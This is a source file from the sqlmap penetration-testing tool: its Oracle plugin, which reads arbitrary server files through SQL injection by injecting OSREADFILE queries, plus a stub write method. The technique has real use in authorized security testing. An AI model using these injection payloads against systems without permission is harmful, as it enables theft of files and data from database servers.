Path: blob/master/plugins/dbms/oracle/filesystem.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67from lib.core.agent import agent8from lib.core.common import dataToOutFile9from lib.core.common import decodeDbmsHexValue10from lib.core.common import getSQLSnippet11from lib.core.common import isNoneValue12from lib.core.data import kb13from lib.core.data import logger14from lib.core.enums import CHARSET_TYPE15from lib.core.enums import DBMS16from lib.core.exception import SqlmapUnsupportedFeatureException17from lib.request import inject18from lib.request.connect import Connect as Request19from plugins.generic.filesystem import Filesystem as GenericFilesystem2021class Filesystem(GenericFilesystem):22def readFile(self, remoteFile):23localFilePaths = []24snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension")2526for query in snippet.split("\n"):27query = query.strip()28query = agent.prefixQuery("OR (%s) IS NULL" % query)29query = agent.suffixQuery(query, trimEmpty=False)30payload = agent.payload(newValue=query)31Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)3233for remoteFile in remoteFile.split(','):34if not kb.bruteMode:35infoMsg = "fetching file: '%s'" % remoteFile36logger.info(infoMsg)3738kb.fileReadMode = True39fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)40kb.fileReadMode = False4142if not isNoneValue(fileContent):43fileContent = decodeDbmsHexValue(fileContent, True)4445if fileContent.strip():46localFilePath = dataToOutFile(remoteFile, fileContent)47localFilePaths.append(localFilePath)4849elif not kb.bruteMode:50errMsg = "no data retrieved"51logger.error(errMsg)5253return localFilePaths5455def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):56errMsg = "File system write access not yet implemented for "57errMsg += "Oracle"58raise SqlmapUnsupportedFeatureException(errMsg)596061